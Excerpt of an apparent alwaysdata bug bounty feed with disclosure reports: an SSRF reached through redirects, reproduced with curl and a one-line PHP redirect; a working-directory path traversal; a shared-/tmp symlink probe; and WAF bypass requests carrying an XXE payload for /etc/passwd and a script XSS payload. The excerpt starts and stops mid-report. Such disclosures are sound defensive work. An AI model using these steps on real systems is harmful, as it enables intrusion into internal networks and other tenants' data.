 The guard is bound to the submitted input rather than to the connections the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> client actually makes. It runs once, resolves the hostname, and rejects private addresses, which is why a direct submission fails in well under a second with no connection attempt. The client is then handed the <acronym title="Uniform Resource Locator">URL</acronym> with its default redirect behaviour, and the <code>Location</code> value of a 301 or 302 never passes back through the same check before the next connection is opened.
</p>

</div>

<h2 id="steps_to_reproduce">Steps to reproduce</h2>
<div class="level2">

<p>
 Everything below uses <code>curl</code> and a shell. Account used: <code>boresbbt2</code>, a free-tier account I own. Redirecting host: <code>bores.alwaysdata.net</code>, a site I own. No alwaysdata internal service was contacted.
</p>

<p>
<strong>Step 1.</strong> On a host you control, publish a page that redirects to an unroutable private address. <code>10.255.255.1</code> is used because a real connection attempt to it can only end in a timeout, which makes the result unambiguous.
</p>
<pre class="php code"><span class="kw2">&lt;?php</span> <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Location: http://10.255.255.1:8080/&quot;</span>, <span class="kw2">true</span>, <span class="nu0">302</span><span class="br0">&#41;</span>; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</pre>
<p>
<strong>Step 2.</strong> Log in to admin.alwaysdata.com and save the session cookies.
</p>
<pre class="bash code"><span class="re2">JAR=</span><span class="sy0">/</span>tmp<span class="sy0">/</span>ad.txt
<span class="re2">CSRF=</span>$<span class="br0">&#40;</span>curl -s -c <span class="re1">$JAR</span> https:<span class="sy0">//</span>admin.alwaysdata.com<span class="sy0">/</span>login<span class="sy0">/</span> \
  <span class="sy0">|</span> grep -oE <span class="st0">'name=&quot;csrfmiddlewaretoken&quot; value=&quot;[^&quot;]+'</span> <span class="sy0">|</span> head -<span class="nu0">1</span> <span class="sy0">|</span> sed <span class="st0">'s/.*value=&quot;//'</span><span class="br0">&#41;</span>
curl -s -b <span class="re1">$JAR</span> -c <span class="re1">$JAR</span> -X POST https:<span class="sy0">//</span>admin.alwaysdata.com<span class="sy0">/</span>login<span class="sy0">/</span> \
  -H <span class="st0">&quot;Referer: https://admin.alwaysdata.com/login/&quot;</span> \
  --data-urlencode <span class="st0">&quot;csrfmiddlewaretoken=$CSRF&quot;</span> \
  --data-urlencode <span class="st0">&quot;login=YOUR_EMAIL&quot;</span> \
  --data-urlencode <span class="st0">&quot;password=YOUR_PASSWORD&quot;</span> -o <span class="sy0">/</span>dev<span class="sy0">/</span>null</pre>
<p>
<strong>Step 3.</strong> Create an application script. The installation script must start with a shebang followed by commented YAML, otherwise the form rejects it.
</p>
<pre class="bash code"><span class="re2">BODY=</span>$<span class="st0">'#!/bin/bash<span class="es0">\n</span># site:<span class="es0">\n</span>#   type: custom<span class="es0">\n</span>echo installed'</span>
<span class="re2">ADD=</span>https:<span class="sy0">//</span>admin.alwaysdata.com<span class="sy0">/</span>site<span class="sy0">/</span>application<span class="sy0">/</span>script<span class="sy0">/</span>add<span class="sy0">/</span>
<span class="re2">CSRF=</span>$<span class="br0">&#40;</span>curl -s -b <span class="re1">$JAR</span> -c <span class="re1">$JAR</span> <span class="re1">$ADD</span> \
  <span class="sy0">|</span> grep -oE <span class="st0">&quot;csrfmiddlewaretoken<span class="es0">\&quot;</span> value=<span class="es0">\&quot;</span>[^<span class="es0">\&quot;</span>]+&quot;</span> <span class="sy0">|</span> tail -<span class="nu0">1</span> <span class="sy0">|</span> sed <span class="st0">'s/.*value=&quot;//'</span><span class="br0">&#41;</span>
curl -s -b <span class="re1">$JAR</span> -c <span class="re1">$JAR</span> -X POST <span class="re1">$ADD</span> -H <span class="st0">&quot;Referer: $ADD&quot;</span> \
  --data-urlencode <span class="st0">&quot;csrfmiddlewaretoken=$CSRF&quot;</span> \
  --data-urlencode <span class="st0">&quot;name=poc&quot;</span> --data-urlencode <span class="st0">&quot;url=https://example.org/&quot;</span> \
  --data-urlencode <span class="st0">&quot;author_name=poc&quot;</span> --data-urlencode <span class="st0">&quot;author_uri=https://example.org/&quot;</span> \
  --data-urlencode <span class="st0">&quot;script=$BODY&quot;</span> -o <span class="sy0">/</span>dev<span class="sy0">/</span>null</pre>
<p>
Note the id of the created script from <code><a href="https://admin.alwaysdata.com/site/application/script/" class="urlextern" title="https://admin.alwaysdata.com/site/application/script/"  rel="nofollow">https://admin.alwaysdata.com/site/application/script/</a></code> and use it as <code>ID</code> below.
</p>

<p>
<strong>Step 4.</strong> Set <code>script_upstream_uri</code> to the private address directly, trigger the fetch, and time it. The guard refuses it and the call returns immediately.
</p>
<pre class="bash code"><span class="re2">BASE=</span>https:<span class="sy0">//</span>admin.alwaysdata.com<span class="sy0">/</span>site<span class="sy0">/</span>application<span class="sy0">/</span>script<span class="sy0">/</span><span class="re1">$ID</span><span class="sy0">/</span>
csrf<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> curl -s -b <span class="re1">$JAR</span> -c <span class="re1">$JAR</span> <span class="re1">$BASE</span> \
  <span class="sy0">|</span> grep -oE <span class="st0">&quot;csrfmiddlewaretoken<span class="es0">\&quot;</span> value=<span class="es0">\&quot;</span>[^<span class="es0">\&quot;</span>]+&quot;</span> <span class="sy0">|</span> tail -<span class="nu0">1</span> <span class="sy0">|</span> sed <span class="st0">'s/.*value=&quot;//'</span>; <span class="br0">&#125;</span>
&nbsp;
curl -s -b <span class="re1">$JAR</span> -c <span class="re1">$JAR</span> -X POST <span class="re1">$BASE</span> -H <span class="st0">&quot;Referer: $BASE&quot;</span> \
  --data-urlencode <span class="st0">&quot;csrfmiddlewaretoken=$(csrf)&quot;</span> \
  --data-urlencode <span class="st0">&quot;name=poc&quot;</span> --data-urlencode <span class="st0">&quot;url=https://example.org/&quot;</span> \
  --data-urlencode <span class="st0">&quot;author_name=poc&quot;</span> --data-urlencode <span class="st0">&quot;author_uri=https://example.org/&quot;</span> \
  --data-urlencode <span class="st0">&quot;script=$BODY&quot;</span> \
  --data-urlencode <span class="st0">&quot;script_upstream_uri=http://10.255.255.1:8080/&quot;</span> -o <span class="sy0">/</span>dev<span class="sy0">/</span>null
&nbsp;
curl -s -b <span class="re1">$JAR</span> -c <span class="re1">$JAR</span> -X POST <span class="re0">$<span class="br0">&#123;</span>BASE<span class="br0">&#125;</span></span>update_script<span class="sy0">/</span> -H <span class="st0">&quot;Referer: $BASE&quot;</span> \
  --data-urlencode <span class="st0">&quot;csrfmiddlewaretoken=$(csrf)&quot;</span> -o <span class="sy0">/</span>dev<span class="sy0">/</span>null -w <span class="st0">'total=%{time_total}s<span class="es0">\n</span>'</span></pre>
<p>
<strong>Step 5.</strong> Repeat exactly the same two calls, changing only <code>script_upstream_uri</code> to the redirector from step 1. The guard passes it, the fetcher follows the 302, and the connection to <code>10.255.255.1</code> is really attempted, so the call now blocks until the TCP timeout.
</p>
<pre class="bash code">  --data-urlencode <span class="st0">&quot;script_upstream_uri=https://YOUR-HOST/r_priv.php&quot;</span></pre>
<p>
<strong>Step 6.</strong> Compare the two timings. Five independent runs on 2026-08-25, the last of which was a clean run following these steps from a fresh login and a new script object:
</p>
<pre class="code">
direct    http://10.255.255.1:8080/          0.635s  0.591s  0.591s  0.584s  0.589s
redirect  -&gt; http://10.255.255.1:8080/      20.340s 20.447s 20.397s 20.108s 20.631s
</pre>

<p>
The direct case is refused by the guard with no connection attempt. The redirect case blocks until the TCP timeout, which is only possible if the connection to <code>10.255.255.1</code> was really opened.
</p>

</div>

<h2 id="additional_observations">Additional observations</h2>
<div class="level2">

<p>
 The same split holds for other private ranges, and the loopback of the fetching host answers, an immediate RST rather than a timeout:
</p>
<pre class="code">
direct    http://[fd00::7:89a5]:8080/         0.601s   refused by guard
redirect  -&gt; http://[fd00::7:89a5]:8080/     20.381s   connection attempted, timed out
redirect  -&gt; http://127.0.0.1:1/              0.668s   immediate RST, loopback reached and answered
</pre>

<p>
Redirect chains are followed at depth, so the stored value has no relation to where the request ends up. A three hop chain of ordinary looking pages on my own site, the last of which points at <code>10.255.255.1:8080</code>, still reaches the private address and blocks for 20.035s. In the two hop case the content of the final target was fetched and stored while the saved <code>script_upstream_uri</code> was only <code><a href="https://bores.alwaysdata.net/hok.php" class="urlextern" title="https://bores.alwaysdata.net/hok.php"  rel="nofollow">https://bores.alwaysdata.net/hok.php</a></code>. Anything that inspects the stored <acronym title="Uniform Resource Identifier">URI</acronym>, whether that is triage, logging or an allowlist of trusted sources, therefore sees a harmless public <acronym title="Uniform Resource Locator">URL</acronym> while the fetch goes somewhere else entirely, and the attacker can retarget at any time without touching the record.
</p>

<p>
The guard does handle <acronym title="Domain Name Server">DNS</acronym>: <code><a href="http://10.255.255.1.nip.io:8080/" class="urlextern" title="http://10.255.255.1.nip.io:8080/"  rel="nofollow">http://10.255.255.1.nip.io:8080/</a></code>, a public name that resolves to <code>10.255.255.1</code>, is refused in 1.485s, the extra time being the lookup before the rejection. So the weakness is specifically the redirect hop, not name resolution.
</p>

<p>
My own web access log shows the fetch is server-side and that the backend follows the redirect itself:
</p>
<pre class="code">
2a00:b6e0:1:84:1::1 - - [25/Aug/2026:03:58:36 +0200] &quot;GET /redir.php HTTP/2.0&quot; 302 0 &quot;-&quot; &quot;python-requests/2.32.5&quot;
2a00:b6e0:1:84:1::1 - - [25/Aug/2026:03:58:36 +0200] &quot;GET /bbt.sh HTTP/2.0&quot;    200 72 &quot;-&quot; &quot;python-requests/2.32.5&quot;
</pre>

<p>
Both lines carry the same timestamp: one operation, two hops.
</p>

<p>
The response body is returned to the attacker unmodified and unbounded. Pointing the redirect at a page serving plain <acronym title="HyperText Markup Language">HTML</acronym> rather than a script stored that <acronym title="HyperText Markup Language">HTML</acronym> verbatim in the installation script textarea, and a redirect to a 1,040,057 byte file stored 1,040,058 bytes with the end marker intact, so there is no content-type check and no size limit on what comes back.
</p>

</div>

<h2 id="expected_behaviour">Expected behaviour</h2>
<div class="level2">

<p>
 A destination that is refused when submitted directly should also be refused when it is reached through a redirect. The check should follow the connection, not the input string.
</p>

</div>

<h2 id="impact">Impact</h2>
<div class="level2">

<p>
 An authenticated free-tier user can make an alwaysdata backend issue arbitrary <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests into private address space and the fetching host&#039;s own loopback, and read the entire response back out of the installation script field, at any size. That is the capability <del>&#160;<a href="https://security.alwaysdata.com/task/401?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#401</a>&#160;</del> was rated Critical and paid for, reachable again through a single redirect that costs the attacker one line of <acronym title="Hypertext Preprocessor">PHP</acronym> on any host they control.
</p>

<p>
Because chains are followed and the stored <acronym title="Uniform Resource Identifier">URI</acronym> stays innocuous, the record left behind on the account shows a normal public <acronym title="Uniform Resource Locator">URL</acronym>, so this is not visible by looking at what users saved in the field.
</p>

<p>
Reachability sets the ceiling on what I proved. I stopped at showing that connections to private destinations are attempted, that the loopback of the fetching host answers, and that arbitrary response bodies come back in full. I did not enumerate internal services or retrieve any internal content, because the programme rules say not to go playing around on internal networks and to report a potential SSRF as soon as it is believed to exist.
</p>

<p>
Two related things do hold and are worth recording: the guard resolves hostnames, so <acronym title="Domain Name Server">DNS</acronym> rebinding through a public name is not available, and <code>file://</code> is refused both when submitted directly and when reached through a redirect, so this is not a local file read.
</p>

</div>

<h2 id="suggested_fix">Suggested fix</h2>
<div class="level2">

<p>
 Apply the address check to every connection the client makes, not only to the submitted string. With <code>requests</code> that means either setting <code>allow_redirects=False</code> on this fetch and rejecting any 3xx outright, or walking the redirect chain manually and running the existing guard against each <code>Location</code> before it is followed. Validating the resolved address at connect time, for example through a custom transport adapter, covers both the redirect hop and any future path that reaches the same client. A regression test that submits a <acronym title="Uniform Resource Locator">URL</acronym> redirecting to <code>127.0.0.1</code> and to an RFC1918 address and asserts the fetch is refused would catch this class directly.
</p>

</div>

<h2 id="classification">Classification</h2>
<div class="level2">

<p>
 CWE-918 Server-Side Request Forgery, reached through CWE-441 Unintended Proxy or Intermediary. Incomplete fix for <del>&#160;<a href="https://security.alwaysdata.com/task/401?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#401</a>&#160;</del>.
</p>

</div>

<h2 id="testing_scope">Testing scope</h2>
<div class="level2">

<p>
 Testing used only accounts I own, <code>bores</code> and <code>boresbbt2</code>, with my own site as the redirecting host. No automated scanner was used and the request rate was low and manual. No internal service was enumerated and no third-party data was accessed. All test artefacts were removed afterwards: the application script objects were deleted and the redirect and marker files were removed from the site root.
</p>

</div>
]]></description>
      <link>https://security.alwaysdata.com/task/460</link>
      <guid>https://security.alwaysdata.com/task/460</guid>
    </item>
        <item>
      <title>FS#456: Working Directory Path Traversal Allows Directory Enumeration and File/Directory Name Disclosure</title>
      <author>Abdelrhman</author>
      <pubDate>Wed, 19 Aug 2026 10:28:36 +0000</pubDate>
      <description><![CDATA[
<h5 id="path_traversal_in_working_directory_allows_directory_enumeration">Path Traversal in Working Directory Allows Directory Enumeration</h5>
<div class="level5">

</div>

<h5 id="summary">Summary</h5>
<div class="level5">

<p>
 I discovered a <strong></strong>path traversal vulnerability<strong></strong> in the <strong></strong>Working Directory<strong></strong> field of the alwaysdata <strong></strong>Service<strong></strong> command feature.
</p>

<p>
The Service feature allows users to specify a Working Directory from which their configured command is executed. However, the Working Directory is not properly restricted to the user&#039;s authorized directory.
</p>

<p>
By using <strong></strong>../<strong></strong> path traversal sequences, an authenticated user can escape the intended Working Directory boundary and point the service to another directory.
</p>

<p>
The service then executes commands from the resulting directory. Using the standard Linux <strong></strong>ls<strong></strong> command, the service logs disclose the names of files and directories contained within the target directory.
</p>

<p>
Additionally, when a non-existent directory is specified, the service returns an error indicating that the directory does not exist. This provides a <strong></strong>directory-existence oracle<strong></strong>, allowing an attacker to determine whether specific directories exist.
</p>

</div>

<h5 id="poc_account">PoC Account</h5>
<div class="level5">

<p>
 The user account used for the proof of concept was:
</p>

<p>
<strong></strong>mexmos<strong></strong>
</p>

<p>
This account belongs to me and is not associated with another alwaysdata customer. All testing was performed using my own account and controlled test data.
</p>

</div>

<h5 id="steps_to_reproduce">Steps to Reproduce</h5>
<div class="level5">

<p>
 1. Log in to an alwaysdata account.<br />2. Go to <strong></strong>Services<strong></strong> and click <strong></strong>Add service<strong></strong>.<br />3. In the <strong></strong>Command<strong></strong> field, enter:
</p>

<p>
<strong></strong>ls<strong></strong>
</p>

<p>
4. In the <strong></strong>Working Directory<strong></strong> field, enter:
</p>

<p>
<strong></strong>../mexmos/www<strong></strong>
</p>

<p>
5. Submit the service configuration.<br />6. Go back to <strong></strong>Services<strong></strong> and open the newly created service.<br />7. Open the service <strong></strong>Logs<strong></strong>.<br />8. The output of the <strong></strong>ls<strong></strong> command is displayed in the logs, revealing the names of files and directories inside the specified <strong></strong>www<strong></strong> directory.
</p>

</div>

<h5 id="example_output">Example Output</h5>
<div class="level5">

<p>
 <strong></strong>STDOUT: index.html<strong></strong>
</p>

<p>
Additional files and directories present in the directory are also returned.
</p>

</div>

<h5 id="directory_enumeration">Directory Enumeration</h5>
<div class="level5">

<p>
 The issue also allows determining whether a specific directory exists.
</p>

</div>

<h5 id="existing_directory">Existing Directory</h5>
<div class="level5">

<p>
 <strong></strong>../mexmos/www/existing-directory<strong></strong>
</p>

<p>
The service successfully starts and <strong></strong>ls<strong></strong> returns its contents.
</p>

</div>

<h5 id="non-existent_directory">Non-existent Directory</h5>
<div class="level5">

<p>
 <strong></strong>../mexmos/www/non-existent-directory<strong></strong>
</p>

<p>
The service returns an error indicating that the directory does not exist.
</p>

<p>
This creates an existence oracle that allows an attacker to distinguish between existing and non-existing directories.
</p>

<p>
Therefore, the vulnerability provides:
</p>

<p>
<strong></strong>Path Traversal → Directory Existence Disclosure → Directory/File Name Enumeration<strong></strong>
</p>

</div>

<h5 id="security_impact">Security Impact</h5>
<div class="level5">

<p>
 An authenticated alwaysdata user who has access to the Service command feature can bypass the intended Working Directory restriction and enumerate filesystem entries outside their intended directory.
</p>

<p>
The attacker can:
</p>

<p>
* Determine whether specific directories exist.<br />* Enumerate directory contents using <strong></strong>ls<strong></strong>.<br />* Obtain filenames and directory names.<br />* Map the structure of accessible directories under the target <strong></strong>www<strong></strong> directory.
</p>

<p>
In a shared-hosting environment, this can disclose the filesystem structure of other hosted directories.
</p>

<p>
For example, the <strong></strong>www<strong></strong> directory of a hosted website may contain filenames revealing:
</p>

<p>
* Application structure<br />* Backup files<br />* Configuration-related filenames<br />* Internal directories<br />* Application resources
</p>

<p>
The vulnerability therefore results in <strong></strong>unauthorized directory and file-name enumeration<strong></strong> across the intended Working Directory boundary.
</p>

<p>
The proof of concept is limited to filename/directory-name enumeration. I did not access or extract file contents from other customers.
</p>

</div>

<h5 id="expected_behavior">Expected Behavior</h5>
<div class="level5">

<p>
 The Working Directory should be restricted to the directories authorized for the service.
</p>

<p>
Traversal sequences such as <strong></strong>../<strong></strong> should not allow the resulting canonical path to escape the authorized directory.
</p>

<p>
For example, if a service is restricted to:
</p>

<p>
<strong></strong>/home/mexmos/<strong></strong>
</p>

<p>
a Working Directory containing:
</p>

<p>
<strong></strong>../other-user/www<strong></strong>
</p>

<p>
should not be accepted.
</p>

</div>

<h5 id="suggested_remediation">Suggested Remediation</h5>
<div class="level5">

<p>
 The application should:
</p>

<p>
* Canonicalize/resolve the supplied Working Directory.<br />* Resolve all <strong></strong>..<strong></strong> components before authorization.<br />* Verify that the resulting canonical path is within the directory authorized for the service.<br />* Reject the request if the canonical path escapes the authorized directory.
</p>

<p>
The security check should be performed against the resolved path rather than the raw user-supplied string.
</p>

</div>

<h5 id="vulnerability_classification">Vulnerability Classification</h5>
<div class="level5">

<p>
 <strong></strong>CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)<strong></strong>
</p>

<p>
Additional impact:
</p>

<p>
<strong></strong>Directory Enumeration / File and Directory Name Disclosure<strong></strong>
</p>

</div>

<h5 id="severity">Severity</h5>
<div class="level5">

<p>
 I recommend evaluating this as a <strong></strong>Medium-severity access-control/path-traversal issue<strong></strong>, depending on the intended filesystem isolation boundary of the Service feature.
</p>

<p>
The demonstrated impact is directory existence disclosure and filename/directory enumeration.
</p>

<p>
This report does not claim arbitrary file-content disclosure, arbitrary file modification, or root privileges.
</p>

</div>

<h5 id="testing_scope">Testing Scope</h5>
<div class="level5">

<p>
 Testing was performed using my own account, <strong></strong>mexmos<strong></strong>, and controlled test data.
</p>

<p>
The <strong></strong>mexmos<strong></strong> account belongs to me and is not associated with another alwaysdata customer.
</p>

<p>
No sensitive customer file contents were accessed, retained, or exfiltrated.
</p>

</div>
]]></description>
      <link>https://security.alwaysdata.com/task/456</link>
      <guid>https://security.alwaysdata.com/task/456</guid>
    </item>
        <item>
      <title>FS#455: Cross-Tenant Write Primitive via World-Writable Shared Scratch Directories</title>
      <author>Abdullah Al Midul</author>
      <pubDate>Tue, 18 Aug 2026 15:25:44 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Target:</strong> <strong>alwaysdata shared web node `http22</strong>` (185.31.41.42)
</p>

<p>
<strong>Severity:</strong> <strong>Medium</strong>
</p>

<p>
<strong>Class:</strong> <strong>CWE-377 Insecure Temporary File / CWE-59 Improper Link Resolution (symlink race)</strong>
</p>

<p>
<strong>Status:</strong> Verified — re-verified live 2026-08-18, zero false positives
</p>

<p>
—
</p>

<p>
## <em class="u">Important Clarification Before Reading:</em>
</p>

<p>
alwaysdata&#039;s bug bounty policy explicitly acknowledges that `/tmp` is a shared directory. This report is <strong>not</strong> about the known read-side exposure of `/tmp` (already tracked internally as <del>&#160;<a href="https://security.alwaysdata.com/task/363?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#363</a>&#160;</del>/389/393/417/418). This report documents a <strong>new and distinct primitive</strong>: a confirmed <strong>cross-tenant write capability</strong> via symlink planting in the shared scratch space — something that goes beyond the known read exposure and has not been previously reported or acknowledged.
</p>

<p>
—
</p>

<p>
##<em class="u"> Summary:</em>
</p>

<p>
On the shared web node `http22`, the scratch directories `/tmp`, `/var/tmp`, and `/dev/shm` are world-writable (mode `1777`) and shared across all tenants on the node. From any tenant&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> using only the standard library, it is possible to:
</p>

<p>
- create new files at predictable paths in the shared scratch space<br />- pre-plant symlinks at predictable names that point to arbitrary files<br />- write through a symlink to its target file
</p>

<p>
The sticky bit (`1` in `1777`) correctly prevents modification or deletion of files already owned by other tenants. The attack surface is therefore the classic <strong>CWE-377 symlink race</strong>: pre-plant a symlink at a predictable path that a victim tenant&#039;s application will later attempt to create — causing the victim app to either fail, follow the attacker&#039;s symlink and write sensitive content to an attacker-chosen target, or read attacker-controlled content.
</p>

<p>
This write primitive is the new finding. The read side was already known and reported upstream.
</p>

<p>
 —
</p>

<p>
## <em class="u">Reproduction Steps:</em>
</p>

<p>
Upload the following self-contained <acronym title="Hypertext Preprocessor">PHP</acronym> probe to any site on node `http22` and fetch it over <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>. Uses only the <acronym title="Hypertext Preprocessor">PHP</acronym> standard library — no extensions or special configuration required.
</p>

<p>
### <em class="u">Probe Code (<acronym title="Hypertext Preprocessor">PHP</acronym>):</em>
</p>

<p>
```php<br />&lt;?php<br />$base = &quot;/tmp/wafverify_&quot; . getmypid();<br /><em> 1. create a new file anywhere in /tmp<br />@file_put_contents($base . &quot;.txt&quot;, &quot;cross-tenant-write-proof-&quot; . date(&quot;c&quot;));<br /></em> 2. create a symlink<br />@symlink($base . &quot;.txt&quot;, $base . &quot;.lnk&quot;);<br /><em> 3. write THROUGH the symlink (writes to the target file)<br />@file_put_contents($base . &quot;.lnk&quot;, &quot;overwritten-via-symlink&quot;);<br /></em> 4. show directory modes<br />printf(&quot;perms: /tmp=%o /var/tmp=%o /dev/shm=%o\n&quot;,
</p>
<pre class="code">     fileperms(&quot;/tmp&quot;), fileperms(&quot;/var/tmp&quot;), fileperms(&quot;/dev/shm&quot;));</pre>

<p>
?&gt;<br />```
</p>

<p>
### <em class="u">Exact Output (2026-08-18, tenant <acronym title="Hypertext Preprocessor">PHP</acronym> on http22):<br /></em> ```<br />create /tmp file: OK size=50<br />create symlink: OK target=/tmp/wafverify_979432.txt<br />write-through-symlink: OK bytes=23 real=overwritten-via-symlink<br />perms: /tmp=1777 /var/tmp=1777 /dev/shm=1777<br />```
</p>

<p>
—
</p>

<p>
## <em class="u">Additional Confirmed Observations:</em>
</p>

<p>
<strong>Sticky-bit protection intact.</strong> Attempting to unlink, rename, or write to another tenant&#039;s existing `/tmp` files is correctly blocked — owner-only enforcement verified. The primitive is therefore pre-planting at not-yet-existing predictable names, not modifying existing victim files.
</p>

<p>
<strong>Read side (already known).</strong> Other tenants&#039; files in `/tmp` are world-readable. During discovery, co-tenant files were observed that contained credentials and session data. Contents were not saved, not used, and have been fully redacted from all evidence. This is noted only to confirm the shared scratch exposure is bidirectional — read and write — not merely one-sided. The read class is already tracked upstream (<del>&#160;<a href="https://security.alwaysdata.com/task/363?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#363</a>&#160;</del>/389/393/417/418).
</p>

<p>
<strong><acronym title="Hypertext Preprocessor">PHP</acronym> sessions not affected.</strong> `session.save_path` is already per-tenant (`/home/&lt;acct&gt;/admin/tmp`), so session files cannot be hijacked via this vector.
</p>

<p>
<strong>MySQL `FILE` privilege — negative.</strong> No `FILE` privilege granted; `secure_file_priv=/tmp/`; `LOAD_FILE()` returns empty. Cross-tenant database file read via this path is not possible.
</p>

<p>
<strong>`/proc` — negative.</strong> `hidepid` is set; only the tenant&#039;s own processes are visible.
</p>

<p>
 —
</p>

<p>
## <em class="u">Impact:</em>
</p>

<p>
A malicious tenant on the same node can pre-plant files or symlinks at predictable paths in the shared scratch space before a victim tenant&#039;s application creates them. If a victim application writes sensitive content (credentials, tokens, session data, temporary uploads) to a predictable `/tmp` path, the attacker can redirect that write to an arbitrary target via a pre-planted symlink — or poison the path with attacker-controlled content before the victim reads it.
</p>

<p>
Classic targets for this class of attack: cron jobs, backup scripts, cache writers, upload handlers, and any application component that creates temporary files at predictable names on a node shared with untrusted tenants.
</p>

<p>
Combined with the already-known world-readable state of `/tmp`, a malicious co-tenant can both read shared scratch state and actively influence it — making the exposure bidirectional and significantly more serious than the read-only class previously acknowledged.
</p>

<p>
—
</p>

<p>
## <em class="u">Ethical Disclosure:</em>
</p>

<p>
All testing was performed exclusively against files created under our own test account and our own naming prefix (`wafverify_*`). No other tenant&#039;s existing file was written to, modified, unlinked, or renamed — sticky-bit protection was verified intact throughout. Co-tenant files encountered in `/tmp` during discovery were read only to confirm the shared nature of the directory; their contents (credentials, cookies, application data) were immediately discarded, not stored, not used in any way, and fully redacted from all evidence files submitted with this report.
</p>

<p>
—
</p>

<p>
## <em class="u">Recommendations:</em>
</p>

<p>
- Mount `/tmp`, `/var/tmp`, and `/dev/shm` as per-tenant private tmpfs volumes, consistent with the per-tenant isolation already applied to `/home` and <acronym title="Hypertext Preprocessor">PHP</acronym> session paths.<br />- Alternatively, set `TMPDIR`, `TMP`, `TEMP`, and `upload_tmp_dir` per-tenant to a path within the tenant&#039;s own `/home` tree, preventing any cross-tenant path collision.<br />- For any platform service that must share a scratch directory, enforce `O_TMPFILE` / `mkstemp` with `fchmod 0600` at creation time and never follow pre-existing symlinks on temp paths.
</p>

<p>
—
</p>

<p>
## <em class="u">Relationship to Other Findings:</em>
</p>

<p>
This finding chains with <strong>FINDING-5</strong> (cross-tenant loopback service exposure on the same node `http22`). Together they confirm that the tenant isolation boundary on shared web nodes has multiple independent gaps — network-level (FINDING-5) and filesystem-level (this report) — compounding the overall risk to co-tenants on the same node.
</p>

<p>
—
</p>

<p>
## <em class="u">Evidence Files:</em> 
</p>
<table class="inline">
	<tr>
		<td> File </td><td> Contents </td>
	</tr>
	<tr>
		<td>—</td><td>—</td>
	</tr>
	<tr>
		<td> `verify_all_output.txt` </td><td> Live re-verification output (write, symlink creation, write-through, directory permissions) </td>
	</tr>
	<tr>
		<td> `CHAIN.md FINDING-3` </td><td> Detailed write-up including all negative results </td>
	</tr>
</table>
]]></description>
      <link>https://security.alwaysdata.com/task/455</link>
      <guid>https://security.alwaysdata.com/task/455</guid>
    </item>
        <item>
      <title>FS#454: Per-Site WAF Partial Bypass: application/xml Bodies Only Partially Inspected</title>
      <author>Abdullah Al Midul</author>
      <pubDate>Tue, 18 Aug 2026 15:13:46 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Target:</strong> <em class="u"><strong>alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)</strong></em>
</p>

<p>
<strong>Severity:</strong> <strong>Medium</strong>
</p>

<p>
<strong>Class:</strong> <strong>CWE-693 Protection Mechanism Failure / incomplete WAF coverage</strong>
</p>

<p>
<strong>Status:</strong> Verified — re-verified live 2026-08-18, zero false positives
</p>

<p>
 —
</p>

<p>
## <em class="u">Summary:</em>
</p>

<p>
Unlike `application/json` (FINDING-1, fully skipped), the WAF does inspect `application/xml` bodies for classic <acronym title="Structured Query Language">SQL</acronym> injection literals — but fails to block <acronym title="Extensible Markup Language">XML</acronym>-shaped attack payloads. <acronym title="Extensible Markup Language">XML</acronym> External Entity (XXE) declarations and embedded `&lt;script&gt;` XSS content pass through with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200, while a plain SQLi string in the same content type is correctly blocked with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 403. The inspection is inconsistent and leaves the most dangerous <acronym title="Extensible Markup Language">XML</acronym>-specific attack class entirely undetected.
</p>

<p>
—
</p>

<p>
## <em class="u">Reproduction Steps:</em>
</p>

<p>
Same setup as FINDING-1: <acronym title="Hypertext Preprocessor">PHP</acronym> site on alwaysdata, `waf_profile = full`, `vuln.php` victim app in the site webroot.
</p>

<p>
—
</p>

<p>
## <em class="u">PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):</em>
</p>

<p>
### 1) XXE Declaration — passes as `application/xml` (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200)
</p>

<p>
```<br />POST /vuln.php <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net<br />Content-Type: application/xml
</p>

<p>
&lt;?xml version=&quot;1.0&quot;?&gt;&lt;!DOCTYPE r [&lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&gt;]&gt;&lt;q&gt;&amp;xxe;&lt;/q&gt;<br />```<br />```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />
</p>
<pre class="file">&lt;body&gt;&lt;h1&gt;Search results for: &lt;/h1&gt;&lt;/body&gt;</pre>

<p>
 ```
</p>

<p>
The WAF does not reject the DOCTYPE/entity payload. In any application that actually parses <acronym title="Extensible Markup Language">XML</acronym>, the entity would be resolved, leading to XXE file read or SSRF.
</p>

<p>
### 2) Embedded XSS `&lt;script&gt;` — passes as `application/xml` (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200)
</p>

<p>
```<br />POST /vuln.php <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net<br />Content-Type: application/xml
</p>

<p>
&lt;q&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/q&gt;<br />```<br />```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />
</p>
<pre class="file">&lt;body&gt;&lt;h1&gt;Search results for: &lt;/h1&gt;&lt;/body&gt;</pre>

<p>
 ```
</p>

<p>
### 3) Literal SQLi — blocked as `application/xml` (control, <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 403)
</p>

<p>
